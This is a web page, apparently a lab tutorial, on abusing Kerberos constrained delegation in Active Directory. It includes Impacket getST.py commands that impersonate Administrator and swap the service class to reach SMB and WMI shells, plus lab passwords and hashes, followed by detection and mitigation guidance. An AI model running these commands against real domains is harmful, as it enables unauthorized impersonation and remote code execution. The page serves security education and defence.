Skip to content
Constrained Delegation

Constrained Delegation

What Is Constrained Delegation?

Constrained Delegation (KCD — Kerberos Constrained Delegation) is a legitimate AD feature that lets a service authenticate to other backend services on behalf of a user who authenticated to it first. For example: a web front-end receives a user login, then needs to query a SQL backend as that same user. Instead of asking the user to authenticate again, constrained delegation lets the front-end carry the user’s identity forward to the database.

The constraint is the key word: unlike Unconstrained Delegation , which lets a service impersonate users to any service in the domain, Constrained Delegation locks the allowed targets down. The AD attribute msDS-AllowedToDelegateTo (a multi-value list of SPNs — Service Principal Names, the identifiers for specific services on specific hosts, formatted like service/hostname.domain) on the delegating account specifies exactly which services it may forward credentials to.

When an attacker compromises an account with constrained delegation configured — especially one with Protocol Transition enabled — they can impersonate any domain user, including Administrator, to those specific allowed services. No target user interaction. No target user credentials. Just the compromised service account’s hash or ticket.

The two delegation modes:

  1. Kerberos OnlymsDS-AllowedToDelegateTo is populated, but the TRUSTED_TO_AUTH_FOR_DELEGATION flag is absent from userAccountControl. The service can only delegate a user’s identity if it already has a forwardable TGS (a Service Ticket marked with the forwardable flag, meaning the KDC permits it to be used in a delegation chain) from the actual user. Limited in practice — the real user must have authenticated to the front-end service first.

  2. Any Authentication Protocol / Protocol TransitionTRUSTED_TO_AUTH_FOR_DELEGATION is set (0x1000000 bit in userAccountControl). This unlocks S4U2Self (Service for User to Self), which lets the service fabricate a service ticket for any user to itself — without that user ever being involved. This is the dangerous mode attackers target.

How Does Constrained Delegation Abuse Work?

The attack uses two Kerberos extensions defined in Microsoft’s MS-SFU (Service for User) specification:

  • S4U2Self (Service for User to Self) — allows a service, using only its own TGT (Ticket Granting Ticket — the “master ticket” the KDC issues after initial authentication, used to request service tickets), to request a service ticket for any user to itself. This synthesizes a forwardable ticket without the target user participating at all. Requires TRUSTED_TO_AUTH_FOR_DELEGATION on the account.

  • S4U2Proxy (Service for User to Proxy) — allows the service to take that S4U2Self ticket and exchange it with the KDC for a service ticket to one of the SPNs listed in msDS-AllowedToDelegateTo. The KDC enforces the allowed-to list here. The output is a full service ticket — valid for the backend service — issued in the name of the impersonated user.

    sequenceDiagram
    participant A as Attacker
    participant KDC as KDC (dc01.radiant.local)
    participant SVC as Backend Service<br/>(sqlserver.radiant.local)

    Note over A: Has svc_sql TGT or NT hash<br/>TRUSTED_TO_AUTH_FOR_DELEGATION set
    A->>KDC: S4U2Self — "give me a ticket for<br/>Administrator to svc_sql"
    Note over KDC: Checks TRUSTED_TO_AUTH_FOR_DELEGATION ✓<br/>Synthesizes forwardable TGS
    KDC-->>A: Forwardable TGS: Administrator → svc_sql

    A->>KDC: S4U2Proxy — "use that ticket to get<br/>a ticket for Administrator to MSSQLSvc/dbserver"
    Note over KDC: Checks msDS-AllowedToDelegateTo ✓<br/>MSSQLSvc/sqlserver.radiant.local is allowed
    KDC-->>A: Service Ticket: Administrator → MSSQLSvc/sqlserver.radiant.local

    A->>SVC: AP-REQ with that service ticket
    Note over SVC: Decrypts with own key ✓<br/>Sees Administrator identity
    SVC-->>A: Access granted as Administrator
  

The KDC validates the S4U2Proxy request against msDS-AllowedToDelegateTo. If the target SPN is not in the list, the KDC rejects the request. The KDC does not validate the S4U2Self ticket’s authenticity beyond checking that the requesting account has TRUSTED_TO_AUTH_FOR_DELEGATION — it trusts the service to identify the user it’s acting for.

What Does Constrained Delegation Abuse Require?

  • A compromised account with constrained delegation configured — specifically one with TRUSTED_TO_AUTH_FOR_DELEGATION set (userAccountControl bit 0x1000000). Kerberos-only mode is less useful without prior user authentication.
  • The account’s NT hash or TGT — to authenticate as the service account and request tickets from the KDC. Obtained via Kerberoasting (if the account has an SPN), LSASS dump, DCSync, or similar.
  • Network access to the KDC — unlike Silver Ticket forging, both S4U2Self and S4U2Proxy are live KDC requests. You need port 88 (Kerberos) reachable to dc01.radiant.local.
  • Network access to the target service — to use the final ticket against the backend.

Enumerating Constrained Delegation

Find accounts with constrained delegation before anything else — you need to know which accounts are worth targeting and which SPNs are in scope.

findDelegation.py is the quickest single-command survey. It queries the domain for all delegation types across all accounts.

findDelegation.py radiant.local/jdoe:'Password123!' -dc-ip 192.168.56.10
  • radiant.local/jdoe:'Password123!' — authenticating domain account. Any valid domain user works; no elevated privilege needed for this query.
  • -dc-ip 192.168.56.10 — IP address of the domain controller to query.
Impacket v0.12.0 - Copyright Fortra, LLC

AccountName  AccountType  DelegationType                      DelegationRightsTo
-----------  -----------  ----------------------------------  -------------------------------------------
svc_sql      Person       Constrained w/ Protocol Transition  MSSQLSvc/sqlserver.radiant.local:1433
svc_iis      Person       Constrained                         HTTP/appserver.radiant.local
DC01$        Computer     Unconstrained                       N/A

The DelegationType column shows whether Protocol Transition is enabled. Constrained w/ Protocol Transition is the exploitable mode — it has TRUSTED_TO_AUTH_FOR_DELEGATION set. Plain Constrained is Kerberos-only and requires a prior user authentication.

DelegationRightsTo shows the exact msDS-AllowedToDelegateTo values — these are the SPNs you can delegate to. svc_sql can reach MSSQLSvc/sqlserver.radiant.local:1433.

Obtaining the Account’s Credential

To run S4U2Self and S4U2Proxy, you need the compromised service account’s NT hash or TGT. The path to those credentials depends on your position:

  • Kerberoasting — if svc_sql has an SPN (which it does in this lab), request its TGS from the KDC and crack it offline. See the Kerberoasting note for the full process.
  • LSASS dump — if you already have code execution on the machine running svc_sql, dump LSASS with mimikatz sekurlsa::logonpasswords or Rubeus dump. See the Silver Ticket note for hash extraction detail.
  • DCSync — if you have DCSync rights (Replicating Directory Changes), secretsdump.py pulls the NT hash directly from AD replication. See the Golden Ticket note.

The lab account svc_sql with password Service123! derives the NT hash 2de8571b7a2dccd7a61a68c4a5a3e2b1 — but in a real engagement you’ll crack or extract it. Commands below use the plaintext password where getST.py accepts it directly.

S4U2Self + S4U2Proxy

This is the core attack. One command in Impacket’s getST.py handles both S4U2Self and S4U2Proxy in sequence.

getST.py performs S4U2Self followed immediately by S4U2Proxy and saves the final service ticket as a .ccache file (the Linux/MIT Kerberos credential cache format).

getST.py \
-spn MSSQLSvc/sqlserver.radiant.local \
-impersonate Administrator \
radiant.local/svc_sql:'Service123!' \
-dc-ip 192.168.56.10
  • -spn MSSQLSvc/sqlserver.radiant.local — the target SPN from msDS-AllowedToDelegateTo. This is where the final ticket will be valid.
  • -impersonate Administrator — the user to impersonate in S4U2Self. Can be any domain account. Use a real account — impersonating a nonexistent user may succeed at the S4U2Self stage but the PAC will be incomplete.
  • radiant.local/svc_sql:'Service123!' — the compromised delegating account. The format is domain/username:'password'. If you have the NT hash instead of the password, replace the password with -hashes :NTHash (see flag note below).
  • -dc-ip 192.168.56.10 — the domain controller IP. getST.py needs to reach the KDC for both S4U exchanges.
  • \ — bash line continuation. The command is one logical line split across multiple physical lines for readability.
Impacket v0.12.0 - Copyright Fortra, LLC

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

If you have the NT hash instead of the plaintext password:

getST.py \
-spn MSSQLSvc/sqlserver.radiant.local \
-impersonate Administrator \
-hashes :2de8571b7a2dccd7a61a68c4a5a3e2b1 \
radiant.local/svc_sql \
-dc-ip 192.168.56.10
  • -hashes :2de8571b7a2dccd7a61a68c4a5a3e2b1 — the Impacket hash format: LMhash:NThash. The LM hash field is left empty (the colon at the start is required — without it Impacket treats the entire string as LM). The NT hash is the 32-character hex value after the colon.

If you have a TGT for svc_sql already (as a .ccache file):

export KRB5CCNAME=/tmp/svc_sql.ccache
getST.py \
-spn MSSQLSvc/sqlserver.radiant.local \
-impersonate Administrator \
-k -no-pass \
radiant.local/svc_sql \
-dc-ip 192.168.56.10
  • -k — use Kerberos authentication from KRB5CCNAME instead of a password.
  • -no-pass — suppress the password prompt (since -k covers authentication).

SPN Substitution

Here is a detail that dramatically expands the usefulness of a constrained delegation primitive: the KDC only validates the hostname portion of the SPN when authorizing an S4U2Proxy request. It does not validate the service class prefix.

This means if msDS-AllowedToDelegateTo lists MSSQLSvc/sqlserver.radiant.local:1433, you can request a ticket for cifs/sqlserver.radiant.local — the file share service — and the KDC will issue it. The allowed entry said MSSQLSvc on that host. You asked for cifs on that host. The host matches; the service class mismatch is not checked.

This is called SPN substitution or the altservice trick. In most cases a machine running SQL Server also runs SMB (cifs), host (WMI, scheduled tasks, PowerShell remoting), http, and rpcss. A single constrained delegation entry pointing at the host’s hostname is therefore effectively a delegation to all services on that host.

Add -altservice to the getST.py command. This substitutes the service class in the final ticket after S4U2Proxy completes.

getST.py \
-spn MSSQLSvc/sqlserver.radiant.local \
-altservice cifs \
-impersonate Administrator \
radiant.local/svc_sql:'Service123!' \
-dc-ip 192.168.56.10
  • -spn MSSQLSvc/sqlserver.radiant.local — the SPN from msDS-AllowedToDelegateTo, used for the S4U2Proxy request to the KDC. The KDC validates this.
  • -altservice cifs — after the KDC issues the ticket for MSSQLSvc/sqlserver.radiant.local, getST.py rewrites the service class to cifs before saving. The result is a ticket presenting as cifs/sqlserver.radiant.local.
Impacket v0.12.0 - Copyright Fortra, LLC

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Changing service from MSSQLSvc/[email protected] to cifs/[email protected]
[*] Saving ticket in Administrator@[email protected]

Note the filename: Administrator@[email protected] — getST.py names the file after the final service class, not the SPN used in the S4U2Proxy request.

Using the Ticket

Set KRB5CCNAME (the environment variable Linux Kerberos tools use to find the ticket cache) to the .ccache file getST.py saved, then use Impacket tools with -k -no-pass.

export KRB5CCNAME=Administrator@[email protected]

Connect to SQL Server with the original MSSQLSvc ticket:

mssqlclient.py -k -no-pass sqlserver.radiant.local
  • -k — use Kerberos authentication from KRB5CCNAME.
  • -no-pass — suppress the password prompt.
Impacket v0.12.0 - Copyright Fortra, LLC

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DBSERVER\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DBSERVER\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (RADIANT\Administrator  dbo@master)>

The prompt confirms authentication as RADIANT\Administrator.

If you used -altservice cifs, connect to the file share instead:

export KRB5CCNAME=Administrator@[email protected]
smbclient.py -k -no-pass radiant.local/[email protected]
Impacket v0.12.0 - Copyright Fortra, LLC

Type help for list of commands
# shares
ADMIN$
C$
IPC$
Data

C$ is the hidden administrative share exposing the entire C: drive of the remote machine. Access to it means full read/write on the filesystem as Administrator.

Remote code execution via WMI (Windows Management Instrumentation — a Windows API for remote management and execution) using a host ticket:

export KRB5CCNAME=Administrator@[email protected]
wmiexec.py -k -no-pass radiant.local/[email protected]
Impacket v0.12.0 - Copyright Fortra, LLC

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
radiant\administrator

Lab Setup Note

To configure Protocol Transition (the TRUSTED_TO_AUTH_FOR_DELEGATION flag) on DC01, run the following from an elevated PowerShell on DC01 (as RADIANT\Administrator). The backtick ` is PowerShell’s line continuation character:

Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/sqlserver.radiant.local:1433","MSSQLSvc/sqlserver.radiant.local"}

Set-ADAccountControl svc_sql -TrustedToAuthForDelegation $true

Set-ADUser svc_sql -Add @{'msDS-AllowedToDelegateTo'=@('MSSQLSvc/sqlserver.radiant.local:1433','MSSQLSvc/sqlserver.radiant.local')}

TrustedToAuthForDelegation sets the TRUSTED_TO_AUTH_FOR_DELEGATION bit (0x1000000) in userAccountControl. Do not confuse this with TrustedForDelegation (unconstrained delegation — a much broader privilege). Verify after applying:

Get-ADUser svc_sql -Properties TrustedToAuthForDelegation, msDS-AllowedToDelegateTo |
  Select-Object TrustedToAuthForDelegation, msDS-AllowedToDelegateTo
TrustedToAuthForDelegation msDS-AllowedToDelegateTo
-------------------------- ------------------------
                      True {MSSQLSvc/sqlserver.radiant.local:1433, MSSQLSvc/sqlserver.radiant.local}

Operational Notes

Tickets expire normally. Unlike forged Silver Tickets (which the attacker sets to any lifetime), S4U2Proxy tickets are issued by the real KDC and expire on the normal Kerberos schedule — 10 hours by default. Re-run getST.py or Rubeus s4u when they expire.

The KDC enforces msDS-AllowedToDelegateTo — SPN substitution does not bypass the hostname check. SPN substitution works because the KDC only checks the hostname portion during S4U2Proxy authorization, not the service class. You cannot request delegation to a host that isn’t in the allowed list. MSSQLSvc/sqlserver.radiant.local allows any service class on sqlserver.radiant.local — it does not allow cifs/otherserver.radiant.local.

Protected Users group blocks Protocol Transition. Members of the Protected Users security group (a hardened group in Windows Server 2012 R2+ that disables RC4 Kerberos, delegation, and credential caching) cannot be impersonated via S4U2Self. If Administrator is in Protected Users, S4U2Self will return an error or a non-forwardable ticket that S4U2Proxy will reject. Try impersonating a different privileged account that is not protected.

[Errno Connection error (dc01.radiant.local:88)] [Errno None] [Errno 111] ...

If you see KDC errors referencing KDC_ERR_BADOPTION or KDC_ERR_POLICY, the impersonation target is likely protected from delegation.

RC4 vs AES. Rubeus /rc4: and getST.py -hashes :NThash both use RC4 (NTLM) for the TGT request. In environments with RC4 disabled or with alerting on RC4 Kerberos pre-authentication, supply the AES256 key with /aes256: (Rubeus) or -aesKey (getST.py). The attack works either way; AES blends in better with normal traffic.

Kerberos-only mode still works — it’s just harder. If TRUSTED_TO_AUTH_FOR_DELEGATION is not set, S4U2Self is unavailable. But if the real user authenticates to the front-end service, you can capture their forwardable TGS (via LSASS dump on the front-end, if you have access to it) and submit it to S4U2Proxy directly. Both Rubeus and getST.py support providing an existing TGS for the proxy step.

The ok_as_delegate ticket flag. In the klist output you may see ok_as_delegate in the Ticket Flags line. This flag is set by the KDC on tickets for services that have TRUSTED_TO_AUTH_FOR_DELEGATION configured. It’s an informational signal to the client that the service is permitted to delegate. It does not affect exploit capability but confirms you’re looking at a delegation-capable account’s ticket.

How Do You Detect and Defend Against Constrained Delegation Abuse?

What Logs Does Constrained Delegation Abuse Generate?

  • Event ID 4769 (A service ticket was requested) on the DC — S4U2Self and S4U2Proxy each generate a 4769. The S4U2Self request has a Transited Services field populated with the requesting service account’s SPN. Look for 4769 events where Transited Services is non-empty — that field is populated exclusively by S4U extension requests, not normal user-to-service authentication.
  • Event ID 4648 (A logon was attempted using explicit credentials) — can appear alongside S4U requests.
  • Event ID 4624 (Logon succeeded) on the target service host — Type 3 (network) logon as the impersonated user. If Administrator logs on to sqlserver.radiant.local but there is no interactive session and no corresponding 4769 from the user themselves, that mismatch is suspicious.
  • Microsoft Defender for Identity (MDI) generates an alert titled “Suspected Kerberos delegation abuse (S4U2Proxy)” specifically for anomalous S4U2Proxy chains.

What Logs Does Constrained Delegation Abuse Not Generate?

  • No pre-authentication event for the impersonated userAdministrator never contacts the KDC. The KDC sees S4U2Self from svc_sql synthesizing a ticket on Administrator’s behalf. There is no Event ID 4768 (TGT requested) for Administrator — they never authenticated.
  • No 4769 sourced from the impersonated user — the 4769 for the final service ticket is attributed to svc_sql (the delegating account), not Administrator (the identity in the ticket). An analyst looking only at Administrator’s Kerberos activity will see nothing.
  • SPN substitution generates no additional logs — the ticket rewrite happens client-side after S4U2Proxy returns. The KDC only sees the original MSSQLSvc SPN request. The cifs ticket used to access C$ never appears in DC logs.

How Do You Mitigate Constrained Delegation Abuse?

  • Add Administrator (and all Tier-0 accounts) to the Protected Users group — this prevents them from being impersonated via S4U2Self. Protected Users disables Kerberos delegation for those accounts, both as delegators and as delegation targets.
  • Mark sensitive accounts as “Account is sensitive and cannot be delegated” — the AD flag NOT_DELEGATED (0x100000 in userAccountControl) prevents the account’s tickets from being used in any delegation chain. Set this on service accounts, privileged users, and any account that should never be delegated.
  • Minimize accounts with TRUSTED_TO_AUTH_FOR_DELEGATION — audit msDS-AllowedToDelegateTo and userAccountControl for the Protocol Transition flag regularly. Most environments have far more accounts configured for constrained delegation than they actually need.
  • Use Group Managed Service Accounts (gMSA) for services instead of regular user accounts. gMSA passwords are automatically rotated by AD, are 256-bit random values, and are never exposed in plaintext. Combined with minimal delegation scope, gMSA accounts significantly raise the bar for abuse.
  • Enforce AES-only Kerberos — disable RC4 and DES via Group Policy. This forces attackers to obtain the AES key (harder than cracking an RC4 TGS) and makes RC4-based S4U requests immediately anomalous.
  • Restrict constrained delegation scope — review every entry in msDS-AllowedToDelegateTo. Use the most specific SPN possible (include the port number, like MSSQLSvc/sqlserver.radiant.local:1433, not just the hostname). This does not stop SPN substitution, but it forces the attacker’s hand to the specific host rather than any listed host.
  • Tier 0 isolation — accounts with access to domain controllers should not be reachable via constrained delegation chains that pass through Tier 1 or Tier 2 infrastructure. A compromised IIS account should not be able to delegate to ldap/dc01.radiant.local.

Detection Tools

  • Microsoft Defender for Identity (MDI) — dedicated alert “Suspected Kerberos delegation abuse” targeting S4U2Proxy chains where the delegating account impersonates a privileged user. Also alerts on “Honeytoken activity” if honeytoken accounts are impersonation targets.
  • Microsoft Sentinel — build a correlation: 4769 events where Transited Services is non-empty joined to 4624 events on the target host where the authenticated account has no recent 4768/4769 of its own. The gap between delegated authentication and direct authentication is the signal.
  • Splunk — same correlation across Windows Security logs forwarded from DCs and member servers. The Transited Services field in 4769 events is the key field — index it and alert on any non-empty value.
  • Sysmon Event ID 10 — LSASS process access on machines where svc_sql runs. Catching the credential theft phase before the delegation chain is invoked is more reliable than detecting the S4U requests themselves, since those look like normal Kerberos traffic.
  • Zeek / network IDS — S4U2Self and S4U2Proxy have distinct Kerberos message structures. Zeek’s kerberos.log captures TGS-REQ fields including pa-data types and additional-tickets. An analyst who knows what S4U extension messages look like can detect them at the wire level without relying on Windows event logs.

References

Specifications

Research

  • Charlie Clark (Semperis) — constrained delegation abuse analysis covering S4U extension mechanics, SPN substitution scope, and the distinction between Kerberos-only and Protocol Transition modes
  • harmj0y — “S4U2Pwnage” — original post mapping the S4U attack surface; introduced the altservice trick and Protocol Transition abuse as offensive primitives

Tools

  • ImpacketgetST.py (S4U2Self + S4U2Proxy + altservice), findDelegation.py (enumeration), mssqlclient.py, smbclient.py, wmiexec.py
  • Rubeuss4u action with /impersonateuser, /msdsspn, /altservice, /ptt
  • mimikatzsekurlsa::logonpasswords, sekurlsa::ekeys for credential extraction; kerberos::ptt for manual ticket injection
  • PowerSploit / PowerViewGet-DomainUser -TrustedToAuth, Get-DomainComputer -TrustedToAuth for delegation enumeration